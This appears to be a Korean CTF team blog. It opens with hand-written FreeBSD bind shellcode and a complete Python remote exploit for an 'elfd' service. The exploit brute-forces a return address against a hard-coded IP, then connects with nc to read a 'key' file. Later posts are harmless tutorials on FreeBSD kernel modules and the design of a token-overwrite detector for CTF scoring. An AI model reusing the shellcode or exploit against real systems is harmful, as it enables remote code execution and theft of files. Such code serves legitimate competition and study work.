2010년 7월 8일 목요일

elfd용 쉘코드 이름하여 bind read key


movb $6, %al
movzx %al, %eax
push %eax          #push 6

xor %eax, %eax
inc %eax
push %eax          #push 1
inc %eax
push %eax          #push 2

xor %eax, %eax
push %eax
movb $97, %al
int $0x80             ## %esi = socket(2,1,6)
mov %eax, %esi


xor %eax, %eax
push %eax
push %eax
push %eax
push $0xAAAA0210
mov %esp, %ebx
movb $0x10, %al
push %eax
push %ebx
push %esi
push %esi
movb $104, %al       ## bind(port=0xAAAA)
int $0x80


pop %esi
xor %eax, %eax
inc %eax
push %eax   #push 1
push %esi
push %esi
movb $106, %al
int $0x80            ## listen(1)

pop %esi
xor %eax, %eax
push %eax
push %eax
push %esi
push %esi
movb $30, %al
int $0x80            ## accept
mov %eax, %edi



# eax, ebx = temporary
# ecx = buffer
# edx = fd

thestart:
xorl %eax, %eax
popl %ebx
push %eax
push %eax
push %ebx #file path
push %ebx #dummy
movb $5, %al
int $0x80
movl %eax, %edx
######## edx=open (filepath, 0, 0)

movl %esp, %ecx
movw $0x101, %cx

xorl %eax, %eax
movb $0xff, %al
push %eax # read 255 bytes
push %ecx # buffer
push %edx # fd
push %edx # dummy

movb $3, %al
int $0x80
movl %eax, %edx

######## read (edx, ecx, 255)

xorl %eax, %eax
movb $0xff, %al
push %eax    ## 255 bytes
push %ecx    ## buff
push %edi
push %eax #dummy
movb $4, %al
int $0x80
######## write (1, ecx, 255)
path:
call thestart
.ascii "key\0"

elfd 익스플로잇 인증!!!!!!!!! (1시 44분 수정)

#!/usr/bin/env python

import socket
import time
import struct
import random
import sys
import os

g_startaddr = 0xbfbfec40
g_ip = 217
g_target = '141.223.175.253'
g_sleep = 0.05

def genbyte(a):
        return (int (random.random()*(65536 - 1024) + 1024) & 0xFF00 ) + a

def go_exploit(addr, debug=False):
# bind shellcode (port = 0xAAAA)
        global g_ip, g_target, g_sleep
        shc="\xb0\x06\x0f\xb6\xc0\x50\x31\xc0\x40\x50\x40\x50\x31\xc0\x50"
        shc=shc+"\xb0\x61\xcd\x80\x89\xc6\x31\xc0\x50\x50\x50\x68\x10\x02\xaa"
        shc=shc+"\xaa\x89\xe3\xb0\x10\x50\x53\x56\x56\xb0\x68\xcd\x80\x5e\x31"
        shc=shc+"\xc0\x40\x50\x56\x56\xb0\x6a\xcd\x80\x5e\x31\xc0\x50\x50\x56"
        shc=shc+"\x56\xb0\x1e\xcd\x80\x89\xc7\x31\xc0\x5b\x50\x50\x53\x53\xb0"
        shc=shc+"\x05\xcd\x80\x89\xc2\x89\xe1\x66\xb9\x01\x01\x31\xc0\xb0\xff"
        shc=shc+"\x50\x51\x52\x52\xb0\x03\xcd\x80\x89\xc2\x31\xc0\xb0\xff\x50"
        shc=shc+"\x51\x57\x50\xb0\x04\xcd\x80\xe8\xce\xff\xff\xff\x6b\x65\x79"
        shc=shc+"\x00"


        g_buf = "\x90" * 40 + struct.pack("<I", addr) + "\x90"*100 + shc + "\x0a"
        g_phase = [0,]
        g_local_port = []
        g_remote_port = []
        g_listen_port = []
        g_senddata = []

        for i in range(len(g_buf)):
                g_phase.append(ord(g_buf[i]) & 0x3)
                g_remote_port.append(0)
                g_local_port.append(0)
                g_listen_port.append(0)
                g_senddata.append(0)

        cnt = 0
        for i in range(len(g_buf)):
                ch = ord(g_buf[i])
                if i==0:
                        g_local_port[i] = genbyte(ch)
                        g_senddata[i] = genbyte(ch+1)
                else:
                        if g_phase[i] == 0 or g_phase[i] == 1:
                                g_local_port[i] = genbyte(ch)
                                g_senddata[i] = genbyte(ch+1)
                                if g_senddata[i] == g_senddata[i-1]:
                                        if cnt == 0:
                                                cnt = 1
                                                g_senddata[i] += 0x100
                                        else:
                                                cnt = 0
                                                g_senddata[i] -= 0x100
                                g_remote_port[i] = g_senddata[i-1]

                        if g_phase[i] == 2 or g_phase[i] == 3:
                                g_listen_port[i] = g_senddata[i-1]
                                g_senddata[i] = genbyte(ch)
                                if (g_listen_port[i] == g_senddata[i]):
                                        if cnt == 0:
                                                cnt = 1
                                                g_senddata[i] += 0x100
                                        else:
                                                cnt = 0
                                                g_senddata[i] -= 0x100


        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind(('0.0.0.0', g_local_port[0]))
        s.connect((g_target, 7331))

        nextsock = None
        nextsocktype = None

        if debug:
                print "Attack strategy ======================================="
                print "phase(data), local port, remote port, listen port, send data"
                for i in range(len(g_buf)):
                        print "[%3d] %d(%02x) - %04x, %04x, %04x, %04x"%(i,g_phase[i], ord(g_buf[i]), g_local_port[i], g_remote_port[i], g_listen_port[i], g_senddata[i])


                print "\n\nAttack started ======================================="
        for i in range(len(g_buf)):
                if debug : print " (((  %d   )))" % i
                if i+1<len(g_buf): #prepare next attack
                        if (g_phase[i+1]==2):
                                if debug : print "preparing phase 2 - listen from %d tcp" % g_listen_port[i+1]
                                nextsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
                                nextsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                                nextsock.bind(('0.0.0.0', g_listen_port[i+1]))
                                nextsock.listen(5)
                                nextsocktype = "tcp"

                        if (g_phase[i+1]==3):
                                if debug : print "preparing phase 3 - listen from %d udp" % g_listen_port[i+1]
                                nextsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
                                nextsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                                nextsock.bind(('0.0.0.0', g_listen_port[i+1]))
                                nextsocktype = "udp"

                if i!=0:
                        if debug : print "nowsocktype = %s" % nowsocktype
                        if g_phase[i]==0:
                                if debug : print "phase 0 - connecting to %d via tcp" % g_remote_port[i]
                                mys = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
                                mys.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                                mys.bind(('0.0.0.0', g_local_port[i] ))
                                time.sleep(g_sleep)
                                mys.connect((g_target, g_remote_port[i]))

                                mys.send(struct.pack(">H", g_senddata[i]))
                                mys.send(struct.pack(">B", g_ip))
                                mys.close()
                        elif g_phase[i]==1:
                                if debug : print "phase 1 - sending to %d via udp" % g_remote_port[i]
                                mys = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
                                mys.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                                mys.bind(('0.0.0.0', g_local_port[i]))
                                time.sleep(0.1)
                                mys.sendto(struct.pack(">H",g_senddata[i])+struct.pack(">B", g_ip), (g_target, g_remote_port[i]))
                                mys.close()
                        elif g_phase[i]==2:
                                if debug : print "phase 2 - listening from %d via tcp" % g_listen_port[i]
                                (cls, addr)=nowsock.accept()
                                nowsock.close()
                                cls.send(struct.pack(">H", g_senddata[i])+struct.pack(">B", g_ip))
                                cls.close()
                        elif g_phase[i]==3:
                                if debug : print "phase 3 - listening from %d via udp" % g_listen_port[i]
                                (data, addr)=nowsock.recvfrom(4)
                                (target, port) = addr
                                nowsock.sendto(struct.pack(">H",g_senddata[i])+struct.pack(">B", g_ip), (g_target, port))
                                nowsock.close()
                else:
                        if debug :
                                print "initial"
                                sys.stdin.readline()
                        s.send(struct.pack(">H", g_senddata[i]))
                        s.send(struct.pack(">B", g_ip))
                nowsock = nextsock
                nowsocktype = nextsocktype

addr=g_startaddr
while True:
        print "Trying %08x" % addr
        addr += 16
        while True:
                try:
                    go_exploit(addr, True)
                    break
                except socket.error:
                    pass
        print "Spawning shell.......... addr = %08x\n\n"  % addr
        os.system("nc %s %d" % (g_target, 0xAAAA))

2010년 2월 10일 수요일

FreeBSD 7.2에서 커널모듈로 삽질한 이야기(2) - 커널 레벨 데몬만들기


대부분의 커널 모듈은 event handler이다. 이는 장치드라이버를 보면 알 수 있다. 장치 드라이버들과 같은 커널 모듈들은 읽기나 쓰기 함수등을 구현해서 커널이 요청할 때 필요한 기능을 제공한다. 하지만 이것으로는 우리가 생각하는 어플리케이션 만들기에는 부족하다. 모름지기 어플리케이션이란 것은 커널이 부를 때만 움직이는 수동적인 것이 아니라, 스스로 움직이는 능동적인 개체이어야 하기 때문이다 :) 그러기 위해서 필요한 것이 커널 스레드 만들기이다.

FreeBSD에서 커널레벨 프로세스를 시작하거나 종료하는 함수는
  • kproc_start
  • kproc_shutdown
이다. 이 외에, 커널 스레드와 관련된 함수로
  • kthread_create
  • kthread_exit
  • kthread_shutdown
과 같은 함수가 있다.

프로세스와 스레드? 유저레벨에서의 프로그래밍 경험을 살려서, 이름을 통해 기능을 유추하다가
혹시 커널 레벨 프로세스를 만들면 유저레벨 프로그램처럼
독립된 메모리공간을 사용하게 되지 않을까?
그래서 커널 API를 호출 못하는 것이 아닐까?
하는 고민을 하게 될 수도 있다. 특히나 Man Page에는 kproc_start함수를 "SYSINIT매크로와 함께 쓰여서, 컴퓨터가 부팅될 시에 자동으로 데몬을 실행시키도록 하는 용도로 만든 함수"로 기술하고 있다. 나의 경우, 실제로 이 man페이지 설명 때문에, SYSINIT 매크로에 겁먹어서 kproc_start함수를 쓰지 못했다. 그런데 사실 여기에 너무 얽매일 필요가 없다. 이에 대한 이유는 커널소스 /sys/kern/kern_kthread.c 에서 찾아볼 수 있다.

void
kproc_start(udata)

const void *udata;
{
const struct kproc_desc *kp = udata;
int error;

error = kthread_create((void (*)(void *))kp->func, NULL,
kp->global_procpp, 0, 0, "%s", kp->arg0);
if (error)
panic("kproc_start: %s: error %d", kp->arg0, error);
}

여기서도 알 수 있듯이, kproc_start는 단순히 kthread_create의 wrapper function에 불과하다. 따라서 둘은 같은 효과를 지니며, Man 페이지에서는 kproc_start와 kthread_create을 구분하고 있지만, 사실 이 둘은 같은 거라서 kproc_start로 생성된 커널 레벨 데몬도 커널과 같은 가상메모리 주소공간을 사용한다(즉, 어떤 함수로 생성되었는지에 상관 없이, 커널 데몬은 커널의 모든 메모리를 바로 엑세스 할 수 있다).

커널스레드에서 주의할 것은, 스레드를 마칠 때 kthread_exit함수를 꼭 호출해주어야 한다는 점이다. 만약 그렇지 않으면, 스레드 함수는 이상한 주소로 리턴하게 될 것이고, 커널은 페이지폴트 에러를 내며 장렬히 전사할 것이다.

자, 대강 준비는 끝났으니 이제 무언가 일을 하는 데몬을 만들어보자. 이번에 만들 모듈엔 다음의 기능을 구현할 것이다.

  • 드라이버가 로드됨과 동시에 데몬이 시작된다.
  • 데몬은 매 1초마다 이상한 메시지를 출력한다.
  • 드라이버가 언로드돼서 메모리에서 사라지기 전까지 데몬이 멈춘다.

이를 어떻게 하면 구현할 수 있을까?
먼저 매 1초마다 이상한 메시지를 출력하기 위해선 어떻게 해야할 지 살펴보자. 아무래도, 루프를 돌면서 이상한 메시지를 찍은 다음, 1초간 sleep하는 것이 좋을 것이다. 이상한 메시지를 찍는 것은 printf 함수를 이용하면 되는데, 1초간 sleep하는 것은 어떻게? 답은 tsleepmsleep이다. man 페이지를 살펴보자.

int msleep
    (void *chan, struct mtx *mtx, int priority, const char *wmesg, int timo);

int tsleep
    (void *chan, int priority, const char *wmesg, int timo);

man page에 나와있듯이, tsleep은 일정 시간동안 기다리는 것이고, msleep은 인수로 넣어준 mutex의 lock을 얻을때까지 최대 timo의 시간만큼 기다린다(여기서 timo는 밀리초 단위다). man page에 찾아보면 chan이라는 인수는, "스레드가 sleep하게 된 이벤트를 구분하는 유일한 주소"라고 설명이 되어 있다. 또한, wakeup이라는 함수를 호출해서 chan에서의 이벤트를 기다리는 모든 스레드를 깨울 수 있다고 되어있다. 여기서 생기는 궁금증. chan의 정체는 무엇이란말인가? 만약 chan이 invalid한 메모리 주소를 가리키게 하면 어떻게 된다는 소리인가?

여기서 잠깐 팁! 커널 소스 볼 때에는 ctags를 이용하면 좋다!

 커널소스를 살펴보자. 여기서 할 일은 단순히 ctags를 이용해 함수의 definition을 좇아 들어가는 것 뿐이다. 여기에는 소스를 다 쫓아 들어가지 않고 결론을 간단히 제시하겠다. msleep함수와 tsleep함수는 _sleep함수의 래퍼함수이다. 그래서 두 함수는 사실 같다고 할 수 있다. 한편, msleep과 tsleep함수는 chan포인터를 _sleep함수의 ident로 넣어주는데, _sleep함수는 인수로 들어온 ident포인터를 /sys/kern/kern_synch.c의 203번째 줄에서

sleepq_add(ident, ident == &lbolt ? NULL : lock, wmesg, flags, 0);

와 같이, sleepq_add라는 함수에 넘겨주고 있다. 이름에서도 짐작할 수 있듯이, 이 함수는 잠자는 쓰레드 큐에다가 현재 스레드를 넣어준다. 무슨 소린지 전혀 감이 안올땐 ctags를 이용해서 같이 함수 콜을 따라 들어가보자. 감이 확확 올 것이다.
 아무튼, 여기서 알 수 있는 사실은 이것이다:FreeBSD에서, ident는 같은 이벤트를 기다리는 스레드 집단들을 구분하는 identifier로 쓰인다. 이 메모리 주소를 "채널"이라고 부르는 데, chan도 역시 channel의 약자이다. 그런데, 커널에서는 chan포인터가 가리키는 메모리 영역에서 일어난 변화를 감지하거나 하지 않으며, 그 값은 단순히 identifier로만 쓰이기 때문에 실제로 존재하지 않는 주소를 넣어주더라도 문제가 없다. 다만, 커널 소스 전체에 걸쳐 chan을 "어떤 이벤트가 발생하는 메모리 주소"로 생각하고 프로그래밍하고 있으며, chan이 가리키는 곳에 변경을 가했을 때 wakeup(chan)을 해줘서 chan주소에서 발생할 이벤트를 기다리는 스레드를 알아서 깨워주기 때문에, 이왕이면 이런 전통을 지키는 것이 좋겠다. 자세한 것은 커널소스에서 sleepqueue 스트럭트와 http://www.freebsd.org/doc/en/books/arch-handbook/smp-implementation-notes.html 을 참고하면 좋을것임 ㅋ

자, 그럼 소스코드를 보자.

#include <sys/types.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/errno.h>
#include <sys/param.h>

#include <sys/conf.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/uio.h>
#include <sys/proc.h>
#include <sys/kthread.h>


struct mtx workermtx;
int shouldrun = 1;

static void worker(void* a)
{
int i=0;
while(shouldrun)
{
i++;
printf("Merrong(%d) curthread = %08x\n", i, curthread);
if (i>1000) break;
tsleep(worker, 0, "workerthread sleep", 1000);
}
kthread_exit(0);
}

static struct proc* g_proc;

static int drv_loader(struct module *m, int what, void* arg)
{
int err=0, i;
switch(what)
{
case MOD_LOAD:
i=kthread_create((void(*)(void*))worker, (void*)NULL, &g_proc, NULL, NULL,"drv");
printf("My driver is loaded(%d)\n", i);
break;
case MOD_UNLOAD:
shouldrun = 0;
wakeup(worker);
printf("My driver is unloaded\n");
break;
default:
err = EOPNOTSUPP;
break;
}
return (err);
}

static moduledata_t drv_mod =
{
"drv",
drv_loader,
NULL
};

DECLARE_MODULE(drvmodule, drv_mod, SI_SUB_KLD, SI_ORDER_ANY);


무언가 엉성한 것을 확인할 수 있다. 애석하게도, 이 드라이버를 로드한 뒤 언로드하면...

페이지폴트를 내며 커널은 장렬히 전사한다. 이렇게 커널 패닉이 발생(?)하면 커널은 알아서 커널 코어덤프를 생성한다. 코어파일은 /var/crash에 생성된다. 이 코어파일을 분석하기 위해서는 커널디버거 kgdb를 이용해야 한다. kgdb의 사용법은 다음과 같다.

kgdb   [ 커널 파일 ]   [ 코어 덤프 ]

직접 커널을 컴파일하지 않은 경우에는 커널파일은 /boot/kernel/kernel에 들어있다. 코어파일의 이름은 /var/crash/vmcore.[번호] 인데, 여기서 [번호]는 클 수록 최근 것이다. 커널덤프는 크기가 꽤 크므로 지워주면 하드 용량이 부족할 때 지워주면 좋을 것이다.


이렇게 커널이 죽는 것은, 모듈이 언로드 되면서 모듈의 코드가 들어있는 메모리가 해제되기 때문이다. 이렇게 되면 실행되고 있는 스레드의 코드가 담겨있는 메모리가 없어져버리면서 cpu의 eip가 가리키는 주소는 invalid한 주소가 되어버린다 ㅋ 이를 막을려면, 언로드기능을 아예 구현하지 않는 방법이 있고, 모듈의 이벤트 핸들러가 스레드가 완전히 끝마쳐질 때까지 기다리도록 하는 방법이 있다. 처음 것은 너무 단순하니 두 번째 것을 시도해보자. 이는 간단히 구현할 수 있다. 위의 소스코드에서 다음의 줄을 추가하자.

                case MOD_UNLOAD:
shouldrun = 0;
wakeup(worker);
tsleep(g_proc, 0, "exit sleep", 1000);
printf("My driver is unloaded\n");
break;

이렇게 하면 스레드가 끝마쳐질 때까지 대기하도록 할 수 있다. 여기서 주목할 점은 g_proc을 chan으로 넣어주었다는 것이다.  kthread_exit함수를 열어보면 다음과 같다.

void
kthread_exit(int ecode)

{
struct thread *td;
struct proc *p;

td = curthread;
p = td->td_proc;
/*
* Reparent curthread from proc0 to init so that the zombie
* is harvested.
*/

sx_xlock(&proctree_lock);
PROC_LOCK(p);
proc_reparent(p, initproc);
PROC_UNLOCK(p);
sx_xunlock(&proctree_lock);
/*
* Wakeup anyone waiting for us to exit.
*/

wakeup(p);
/* Buh-bye! */
exit1(td, W_EXITCODE(ecode, 0));
}

여기에서 확인할 수 있듯, kthread_exit함수는 p에 대해 wakeup을 호출해서 g_proc에 대해 잠자고 있는 이벤트 핸들러를 깨워준다. 이를 통해서 스레드가 끝난 뒤에 커널 모듈이 언로드되는 것을 어느정도(?)보장해줄 수 있다.

이렇게 하고 커널 모듈을 빌드한 뒤, dmesg를 통해 이번 커널 모듈이 출력한 메시지를 확인해보자.

[root@CTF /]# dmesg | tail
Trying to mount root from ufs:/dev/ad0s1a
WARNING: / was not properly dismounted
GEOM_LABEL: Label ufsid/4b4d2753e0ce587a removed.
GEOM_LABEL: Label for provider ad0s1a is ufsid/4b4d2753e0ce587a.
GEOM_LABEL: Label ufsid/4b4d2753e0ce587a removed.
My driver is loaded(0)
Merrong(1) curthread = c29fd230
Merrong(2) curthread = c29fd230
Merrong(3) curthread = c29fd230
My driver is unloaded

우왕 ㅋ 성공한듯 ㅋ

사족을 붙이자면, 이 커널 드라이버에서 출력하는 curthread라는 포인터의 값은 현재 실행되고 있는 스레드의 TCB(thread control block)의 주소다. 타입은 struct thread* 이며, struct thread의 정의는 /sys/sys/proc.h에서 확인할 수 있다.

2010년 2월 9일 화요일

FreeBSD 7.2에서 커널모듈로 삽질한 이야기(1) - 뼈대 만들기


모의 CTF용 커널 모듈을 만들면서 삽질한(결국 완성은 못했지만) 약 2주간의 경험을 정리해보려고 한다. 난 내 전공에도 헉헉대는 데에다가 컴공과도 아니라 OS수업도 듣지 않아서 -_- 커널에 대한 감이 전혀 없었다. 그래서 FreeBSD가 어떻게 구성되어 있는지도 전혀 알지 못했다. 맨손으로 시작하려니 어디서부터 해야할 지 막막해서 커널 소스에서 시스템콜을 찾아 읽는 식으로 했는데, 그러면 그럴 수록 더욱 더 미궁으로 빠졌다. 사실 2주간의 시간은 대부분 멍하니 커널 소스사이를 헤집으며 보낸 시간이다.

이 과정에서 무엇보다 어려웠던 것은, 커널 API를 쓰는 것은 대부분의 경우 아무 쓸모가 없기 때문에 정리된 문서를 찾기가 쉽지 않았다는 점이다. 이것이 커널 레벨 프로그래밍의 진입장벽이 아닐까 싶다. 이 문서에서는 커널 레벨 어플리케이션을 만드는 데 필요한 몇 가지 함수들과 그것들의 사용법, 그리고 자질구레하지만 없으면 불편한 것을 소개하려고 한다. 이를 통해 진입장벽을 조금이나마 낮추어보자는 생각이다. 나와 같은 처지에 있던 사람들이 커널 레벨 프로그래밍을 시작하는 데 작게나마 도움이 되기를 바라며, 이 문서를 시작하려고 한다. 더불어 이 문서가 플러스 정회원 페이퍼로 인정받았으면하는 아주 작은 바람도 함께 가져본다 :)

FreeBSD Developers' Handbook이라는 문서에 보면 커널 모듈의 Skeleton이 잘 나와있다. 일단은 거기서 그대로 가져다 쓰려고 한다. 먼저, 모듈을 만들기 위해서 필요한 파일은 최소 두 가지이다. 하나는 Makefile이고, 나머지는 소스파일이다. Makefile은 대부분 필요한 것들을 이미 FreeBSD에서 다 제공해주기 때문에 직접 입력해야할 내용은 굉장히 간단하다.

 
Makefile
SRCS=drv01.c
KMOD=drv01

.include <bsd.kmod.mk>

저렇게 그냥 SRCS에 소스 파일 목록을 넣어주고 KMOD에 최종적으로 생길 드라이버 이름만 넣어주면 OK. 단순히 make를 실행시키는것 만으로 필요한 모든 것을 다 해준다. 이제 모듈 소스를 볼 차례..

drv01.c
#include <sys/types.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/errno.h>
#include <sys/param.h>
#include <sys/kernel.h>

static int mydrv_loader(struct module *m, int what, void* arg)
{
int err=0;
switch(what)
{
case MOD_LOAD:
printf("MYDRV loaded\n");
break;
case MOD_UNLOAD:
printf("MYDRV unloaded\n");
break;
default:
err = EOPNOTSUPP;
break;
}
return (err);
}

static moduledata_t mydrv_mod =
{
"mydrv",
mydrv_loader,
NULL
};

DECLARE_MODULE(mydrvmodule, mydrv_mod, SI_SUB_KLD, SI_ORDER_ANY);

이것이 가장 간단한 모듈이다. 위에 헤더파일은 솔직히 왜 추가하는 지 모르겠다. 뭐 암튼 필요하다니까 일단 추가.. 이 소스를 수정해서 원하는 작업을 수행하게 하는 데는 문제는 없어보인다.

뭔가.. DECLARE_MODULE에 넣어주는 parameter들이 중요해 보인다. man page에 DELCARE_MODULE이 뭔지 나오는군. 먼저
  • 1번째 argument,  mydrvmodule
    FreeBSD 커널이 초기화될 때 실행되는 SYSINIT()함수에서 사용할 이름
  • 2번째 argument, mydrv_mod
    모듈에 관한 데이터들을 담은 스트럭처(모듈 이름이나 모듈에 생기는 로드, 언로드와 같은 이벤트에 대한 핸들러의 주소 등)
  • 3번째 argument, SI_SUB_KLD
    이 모듈이 드라이버임을 나타내는 것이고,
  • 4번째 argument, SI_ORDER_ANY
    시스템 실행될 때 언제 로드되야하는지를 나타내는 듯.. 어떤 커널모듈이 다른 커널모듈에 디펜던스가 있을 수 있으니 로드 순서를 정해주는 게 필요할 것이다.
 mydrv_mod라는 스트럭처에 들어가는 내용도 이 소스를 보면 짐작할 수 있다. 처음 거는 드라이버 이름이며, 두 번째 들어가는 것은 이벤트 핸들러의 주소이다.

이벤트 핸들러 함수 mydrv_loader를 살펴보자. 두 번째 argument인 what은 발생한 이벤트의 종류를 나타낸다.  그래서 만약 what이 MOD_LOAD면 모듈에 대한 초기화 작업을, MOD_UNLOAD면 모듈 제거 작업을 해주면 된다. 나머지 이벤트에 대해선, EOPNOTSUPP에러를 리턴해서, '귀찮아서 구현하지 않았다'는 것을 솔직히 시인해주면 된다.

man페이지에 찾아보면, 커널모듈에서 화면에 글자 찍는 함수 세 가지를 찾을 수 있다. 그것들은 다름아닌  uprintfprintf, tprintf.. uprintf는 현재 실행되고 있는 프로세스의 tty로 찍어주고, printf는 콘솔에 찍음과 동시에 로그에 남긴다. tprintf는 출력시킬 tty를 지정해 줄 수 있다. 즉, 특정한 사용자의 화면에 메시지를 찍어줄 수 있다는 이야기다.

 모듈 로드 시 출력하고 싶은 메시지는 그냥 uprintf로 출력해도 무방하다. uprintf의 특성상, 현재 실행되고 있는 프로세스의 tty로 메시지를 출력하는데, 모듈 로드시에는 '현재 프로세스'가 모듈을 올리는 유저레벨 프로그램이기 때문이다. 그래서 이벤트 핸들러 함수에서 uprintf로 메시지를 출력하면, 드라이버 로드하는 명령을 입력한 화면에서 바로 메시지를 볼 수 있다.

 하지만 uprintf가 만능 해법은 아니다. 드라이버 로드할 때 말고 커널에서 돌아가는 스레드 내부에서 uprintf로 내용을 출력하면 전부 허공으로 사라져서 문제가 된다. 이 때는 uprintf 대신 다른 옵션을 생각해야 한다. 일단 tprintf를 생각하자면, 어떤 사용자의 tty로 출력할 것인지 지정해줘야 하는데, 이는 쫌 귀찮은 일이므로, 선택대상에서 제외. 남은 옵션은 printf가 유일한데, 다행히 이 함수는 콘솔에 남기고 동시에 로그도 남기는 좋은 함수이다. 즉, printf를 애용하는 것이 합리적인 선택. 로그에 남기 때문에,  dmesg를 써서 printf로 출력한 내용을 확인할 수 있다.

 모듈이 완성됐으니 컴파일을 해보자. make를 치고 kldload ./drv01.ko 를 통해 로드하고 kldunload ./drv01.ko 로 언로드한 뒤 dmesg로 찍힌 메시지를 확인하면 테스트하면 끝.

[root@CTF ~/drv00]# make
Warning: Object directory not changed from original /root/drv00
cc -O2 -fno-strict-aliasing -pipe -D_KERNEL -DKLD_MODULE -std=c99 -nostdinc -I. -I@ -I@/contrib/altq -finline-limit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -fno-common -mno-align-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse2 -mno-sse3 -ffreestanding -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointer-sign -fformat-extensions -c drv01.c
ld -d -warn-common -r -d -o drv01.kld drv01.o
:> export_syms
awk -f /sys/conf/kmod_syms.awk drv01.kld export_syms | xargs -J% objcopy % drv01.kld
ld -Bshareable -d -warn-common -o drv01.ko drv01.kld
objcopy --strip-debug drv01.ko
[root@CTF ~/drv00]# kldload ./drv01.ko
[root@CTF ~/drv00]# kldunload ./drv01.ko

그럼 이제 dmesg로 확인!!!

[root@CTF ~/drv00]# dmesg | tail
ad0: 8192MB at ata0-master UDMA33
acd0: DVDROM at ata1-master UDMA33
GEOM_LABEL: Label for provider ad0s1a is ufsid/4b4d2753e0ce587a.
Trying to mount root from ufs:/dev/ad0s1a
WARNING: / was not properly dismounted
GEOM_LABEL: Label ufsid/4b4d2753e0ce587a removed.
GEOM_LABEL: Label for provider ad0s1a is ufsid/4b4d2753e0ce587a.
GEOM_LABEL: Label ufsid/4b4d2753e0ce587a removed.
MYDRV loaded
MYDRV unloaded


우왕 ㅋ 성공 ㅋ

2009년 7월 20일 월요일

CTFTools

CTF Tools입니다.

압축푸는 명령어
base64
--decode > ctftools.tar.gz && tar xvf ctftools.tar.gz

파일 내용

펼쳐두기..


2009년 7월 13일 월요일

CTF 게임을 위한 환경 설정

인트로

(해킹대회의) CTF게임에서 토큰은 Capture The Flag게임에서 깃발역할을 하는 무의미(?)한 쫌 긴 스트링이다. 참가자는 이걸 이용해 사람은 3가지 방법으로 점수를 딸 수 있다.
  1. 남의 토큰를 훔치기
  2. 남의 토큰에다가 내 껄 덮어쓰기
  3. BBBBBreakthrough!(최초로 데몬을 뚫음)
주최자는 이 세 가지를 검출할 방법을 고안해야 하는데, 1번과 3번은 상대적으로 단순한 서버프로그래밍등을 통해서 해결할 수 있을 걸로 보인다. 문제는 2번의 구현이다. 이 기능의 구현은 유저레벨에서 할 때와 커널레벨에서 할 때, 두 가지로 구분할 수 있을 것 같다.

유저 레벨에서의 구현

 토큰이 덮어 쓰여진 걸 검출하기 위해 서버가 일정 주기로 토큰 파일이 업데이트 되어 있는지 감시할 수 있어야 하며, 덮어씌워졌을 경우 원래대로 복구를 해주어야 한다.
 유저레벨에서 이를 구현하자면 많은 문제가 발생한다. 먼저, 커널에서의 도움이 없다면, Race Condition이 발생할 수 있다( 점수를 관리하는 서버에서 토큰이 덮어씌워졌는지를 검사하기 직전에, 마침 두 팀이 동시에 토큰을 덮어 쓴다면, 뒤에 덮어쓴 한 팀만 점수가 오를 수 있다). 둘째로, 이 검츨하는 프로그램이 유저레벨에서 작동하기  때문에 어떤 천재 해커가 이 데몬을 순식간에 분석해버릴 가능성이 있다는 게 문제다. 만약 분석에 성공하면 자기 팀 토큰은 덮어 씌여졌음에도 불구하고 서버에서는 안덮어씌여진 걸로 인식하게 Fake를 쓸 수가 있고, 프로토콜을 추가로 분석해서 마치 덮어쓰는 데 성공한 것처럼 훼이크 패킷을 날릴 수도 있는거다.
 만일 커널의 도움을 받는다 해도, 이 두 번째 문제는 피할 수 없을 것이다. 유저레벨에서 프로그램이 돌아가기 위해선 커널 내에 어딘가에는 이 프로그램에 대한 정보가 담겨있을 수 밖에 없다. 그러면 수많은 시스템콜을 통해 이에 접근해 프로세스에 담긴 정보를 꺼내올 수 있는 건데, 이런 방법들을 모두 알아내서 막는 건 쉽지 않다. 즉, 커널레벨 프로그램의 도움을 받아도 천재해커는 어떻게 해서든 유저레벨 데몬을 분석할 수 있다는 것이다. 그럼 가능한 답은 한 가지이다.


커널 레벨에서의 구현

커널레벨에서의 구현은 어렵다는 문제 빼면 유저레벨에서 구현하는 것 몇 배로 낫다고 볼 수 있겠다. 애초에 커널레벨 프로그램 분석은 오래 걸리기 때문에 시간 낭비가 크다. 뿐만 아니라 유저가 커널모드에서 돌아가는 프로그램들을 수정할 수 없게 만들면 패치도 힘들다. 즉, 1. 드라이버 못 올리게 막고, 2. /dev/mem과 같은 raw메모리 보여주는 파일도 막으면,커널 바이너리석 -> 커널 수정 후 재부팅하는 방법외에는 커널레벨 프로그램을 수정할 방법이 없는데 이는 서비스 가동 레벨을 떨어트려 점수에 치명적일 수 있다. 즉, 이 프로그램을 분석하는 게 다른 거 분석하는 거에 비해 훨씬 불리하기 때문에 참가자가 이 프로그램을 분석하는 걸 효과적으로 막을 수 있다는 것이다.

기본 전략은 다음과 같다.
  1. 가상화일시스템(vfs)에서 파일에 기록하는 함수를 수정
  2. /dev/디렉토리의 파일은 액세스 불가능하게 만듦. 근데 만약 여기서 액세스하는 파일이 토큰파일이면
  3. 실제로 파일에 쓰지는 않으며, 대신 서버로 인증패킷을 보냄. 단, 이 인증패킷은 암호학적으로 잘 설계(?)돼서 훼이크를 칠 수 없게 만들어졌어야 함
일단 이전 Defcon CTF 서버 세팅을 재현하는 것이 목표이므로 FreeBSD 7.2커널을 수정한다.

소스를 수정하기 위해 필요한 정보 얻기
